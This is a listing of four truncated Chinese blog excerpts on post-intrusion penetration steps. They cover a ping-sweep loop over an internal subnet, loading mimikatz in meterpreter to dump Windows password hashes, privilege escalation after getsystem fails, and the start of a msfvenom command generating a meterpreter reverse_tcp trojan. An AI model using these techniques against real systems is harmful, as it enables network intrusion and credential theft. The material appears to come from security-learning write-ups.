从进入内网开始说 首先，查看网段里的存活主机 for /l %i in (1,1,255) do @ ping 10.3.101.%i -w 1...

既上一篇提权之后，下一步获取window密码。 可以直接在meterpreter加载mimikatz模块 加载成功！ 然后获取密码的hash值 ...

提权的方法非常多，今天写一个简单使用的。 从反弹的shell发现，拿到的系统权限只是普通权限。 然后我们首先使用geisystem提权，直接失败...

首先，使用msfvenom制作一个普通木马。 命令 msfvenom -p windows/meterpreter/reverse_tcp lh...